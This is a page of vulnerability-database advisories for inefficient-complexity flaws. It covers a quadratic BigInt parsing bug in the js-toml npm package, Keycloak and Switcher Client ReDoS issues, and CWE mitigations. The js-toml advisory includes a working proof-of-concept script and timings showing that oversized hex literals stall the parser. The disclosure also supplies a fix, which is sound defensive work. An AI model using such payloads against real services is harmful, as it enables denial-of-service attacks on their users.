https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2

Credit

Reported by tonghuaroot.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-toml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T22:21:43Z",
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n\u00b2)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.\n\nA caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.\n\nCWE-1333 (Inefficient Regular Expression Complexity \u2192 here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (\u003c 1 kB).\n\n## Affected\n\n- Package: `js-toml` (npm)\n- Versions: `\u003e= 0.0.0, \u003c= 1.1.0` (all released versions up to and including the current `1.1.0`)\n- Affected entry point: `load()` exported from the package root\n\n## Vulnerable code\n\n`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):\n\n```ts\nconst parseBigInt = (string: string, radix: number): bigint =\u003e {\n  let result = BigInt(0);\n  for (let i = 0; i \u003c string.length; i++) {\n    const char = string[i];\n    const digit = parseInt(char, radix);\n    result = result * BigInt(radix) + BigInt(digit);\n  }\n\n  return result;\n};\n```\n\nand the interpreter that dispatches to it at lines 72-84:\n\n```ts\nregisterTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n  const intString = raw.replace(/_/g, \u0027\u0027);\n  const digits = intString.slice(2);\n  const radix = getRadix(raw);\n\n  const int = parseInt(digits, radix);\n\n  if (Number.isSafeInteger(int)) {\n    return int;\n  }\n\n  return parseBigInt(digits, radix);\n});\n```\n\nTwo compounding problems:\n\n1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n\u00b2)`.\n\n2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x\u003chexDigit\u003e(\u003chexDigit\u003e|_\u003chexDigit\u003e)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.\n\nBy contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.\n\n## Impact\n\nA single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.\n\n## Reachability\n\nThe vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).\n\nRealistic exposure surfaces:\n\n- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).\n- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.\n- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.\n- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.\n\n## PoC (End-to-end reproduction)\n\n### Environment\n\n- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)\n- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)\n\n### Install\n\n```bash\nmkdir js-toml-cve \u0026\u0026 cd js-toml-cve\nnpm init -y\nnpm install js-toml@1.1.0 @iarna/toml\n```\n\n### `poc_full_e2e.mjs`\n\n```js\nimport { load } from \u0027js-toml\u0027;\nimport iarna from \u0027@iarna/toml\u0027;\n\nfunction timeIt(label, fn) {\n  const t0 = process.hrtime.bigint();\n  let result, err;\n  try { result = fn(); } catch (e) { err = e; }\n  const t1 = process.hrtime.bigint();\n  const ms = (Number(t1 - t0) / 1e6).toFixed(1);\n  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);\n  else     console.log(`${label}: ${ms}ms${result ? \u0027 \u0027 + result : \u0027\u0027}`);\n}\n\nconsole.log(\u0027--- Sanity baseline (small inputs) ---\u0027);\ntimeIt(\u0027decimal int 1\u0027, () =\u003e { load(\u0027x = 1\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0x10\u0027,      () =\u003e { load(\u0027x = 0x10\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0xffff\u0027,    () =\u003e { load(\u0027x = 0xffff\u0027); return \u0027\u0027; });\n\nconsole.log(\u0027\\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\u0027);\nfor (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {\n  const hexDigits = \u0027f\u0027.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,\n    () =\u003e {\n      const r = load(tomlText);\n      return `bits=${r.x.toString(2).length}`;\n    });\n}\n\nconsole.log(\u0027\\n--- Negative control: same input via @iarna/toml ---\u0027);\nfor (const n of [10_000, 50_000, 100_000, 200_000]) {\n  const hexDigits = \u0027f\u0027.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,\n    () =\u003e {\n      const r = iarna.parse(tomlText);\n      return `type=${typeof r.x}`;\n    });\n}\n\nconsole.log(\u0027\\n--- Octal / binary share the same code path ---\u0027);\nfor (const n of [50_000, 100_000]) {\n  const octDigits = \u00277\u0027.repeat(n);\n  const binDigits = \u00271\u0027.repeat(n);\n  timeIt(`oct 0o${n.toLocaleString()} digits`,\n    () =\u003e { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });\n  timeIt(`bin 0b${n.toLocaleString()} digits`,\n    () =\u003e { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });\n}\n```\n\n### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)\n\n```\n# js-toml version: 1.1.0\n\n--- Sanity baseline (small inputs) ---\ndecimal int 1: 1.3ms\nhex 0x10: 0.4ms\nhex 0xffff: 0.1ms\n\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits (10006 bytes input): 15.0ms bits=40000\nhex 20,000 digits (20006 bytes input): 29.8ms bits=80000\nhex 50,000 digits (50006 bytes input): 214.7ms bits=200000\nhex 100,000 digits (100006 bytes input): 693.0ms bits=400000\nhex 200,000 digits (200006 bytes input): 3239.6ms bits=800000\nhex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000\n\n--- Negative control: same input via @iarna/toml ---\n@iarna/toml hex 10,000 digits: 2.3ms type=bigint\n@iarna/toml hex 50,000 digits: 3.2ms type=bigint\n@iarna/toml hex 100,000 digits: 5.4ms type=bigint\n@iarna/toml hex 200,000 digits: 10.2ms type=bigint\n\n--- Octal / binary share the same code path ---\noct 0o50,000 digits: 187.6ms bits=150000\nbin 0b50,000 digits: 49.5ms bits=50000\noct 0o100,000 digits: 633.2ms bits=300000\nbin 0b100,000 digits: 196.8ms bits=100000\n```\n\nConfirmation points:\n\n- Quadratic curve: 10k \u2192 20k digits is ~2x time (15ms \u2192 30ms); 100k \u2192 200k is ~4.7x time (693ms \u2192 3239ms); 200k \u2192 500k (2.5x) is ~12x time (3.2s \u2192 40s). Matches the predicted `O(n\u00b2)`.\n- Single ~500 kB document blocks the event loop for ~40 s of CPU time.\n- Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`.\n- The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`\u0027s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself.\n\n### Patched-build verification\n\nAfter applying the fix (replace `parseBigInt(digits, radix)` with `BigInt(\u00270\u0027 + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces:\n\n```\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits: 0.2ms bits=40000\nhex 20,000 digits: 0.3ms bits=80000\nhex 50,000 digits: 0.7ms bits=200000\nhex 100,000 digits: 1.5ms bits=400000\nhex 200,000 digits: 2.8ms bits=800000\nhex 500,000 digits: 7.1ms bits=2000000\n```\n\n(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`.\n\n## Suggested fix\n\nTwo changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts):\n\n1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`:\n\n   ```ts\n   registerTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n     const intString = raw.replace(/_/g, \u0027\u0027);\n     const digits = intString.slice(2);\n     const radix = getRadix(raw);\n\n     // Optional but recommended: cap the literal length to avoid degenerate inputs\n     const MAX_RADIX_LITERAL_LENGTH = 1000;\n     if (digits.length \u003e MAX_RADIX_LITERAL_LENGTH) {\n       throw new SyntaxParseError(\n         `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`\n       );\n     }\n\n     const int = parseInt(digits, radix);\n     if (Number.isSafeInteger(int)) {\n       return int;\n     }\n\n     // BigInt accepts \u00270x\u0027/\u00270o\u0027/\u00270b\u0027 prefix natively\n     return BigInt(intString);\n   });\n   ```\n\n2. Delete the `parseBigInt` helper. The native constructor handles all three radices.\n\nEither change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`).\n\n## Fix PR link\n\nhttps://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2\n\n## Credit\n\nReported by `tonghuaroot`.",
  "id": "GHSA-wp3c-266w-4qfq",
  "modified": "2026-06-26T22:21:43Z",
  "published": "2026-06-26T22:21:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49293"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sunnyadn/js-toml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunnyadn/js-toml/releases/tag/v1.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals"
}

GHSA-WQ8X-CG39-8MRR

Vulnerability from github – Published: 2024-11-25 18:32 – Updated: 2024-11-25 18:32
VLAI
Summary
org.keycloak:keycloak-services has Inefficient Regular Expression Complexity
Details

A vulnerability was found in the Keycloak-services package. If untrusted data is passed to the SearchQueryUtils method, it could lead to a denial of service (DoS) scenario by exhausting system resources due to a Regex complexity.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "26.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-10270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-25T18:32:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in the Keycloak-services package. If untrusted data is passed to the SearchQueryUtils method, it could lead to a denial of service (DoS) scenario by exhausting system resources due to a Regex complexity.",
  "id": "GHSA-wq8x-cg39-8mrr",
  "modified": "2024-11-25T18:32:13Z",
  "published": "2024-11-25T18:32:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-wq8x-cg39-8mrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/5d6c91f3309db468b0fe4834e88c3d25649f73e4"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10175"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10176"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10177"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10178"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-10270"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2321214"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "org.keycloak:keycloak-services has Inefficient Regular Expression Complexity"
}

GHSA-WQXW-8H5G-HQ56

Vulnerability from github – Published: 2023-02-02 01:33 – Updated: 2023-02-15 17:35
VLAI
Summary
Switcher Client contains Regular Expression Denial of Service (ReDoS)
Details

Impact

Unsanitized input flows into Strategy match operation (EXIST), where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).

Patches

Patched in 3.1.4

Workarounds

Avoid using Strategy settings that use REGEX in conjunction with EXIST and NOT_EXIST operations.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "switcher-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-02T01:33:06Z",
    "nvd_published_at": "2023-02-03T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nUnsanitized input flows into Strategy match operation (EXIST), where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).\n\n### Patches\nPatched in 3.1.4\n\n### Workarounds\nAvoid using Strategy settings that use REGEX in conjunction with EXIST and NOT_EXIST operations.",
  "id": "GHSA-wqxw-8h5g-hq56",
  "modified": "2023-02-15T17:35:36Z",
  "published": "2023-02-02T01:33:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/security/advisories/GHSA-wqxw-8h5g-hq56"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/commit/374752563d6ce9353ee592b40c809c8136f24930"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/switcherapi/switcher-client-master"
    },
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/releases/tag/v3.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Switcher Client contains Regular Expression Denial of Service (ReDoS)"
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list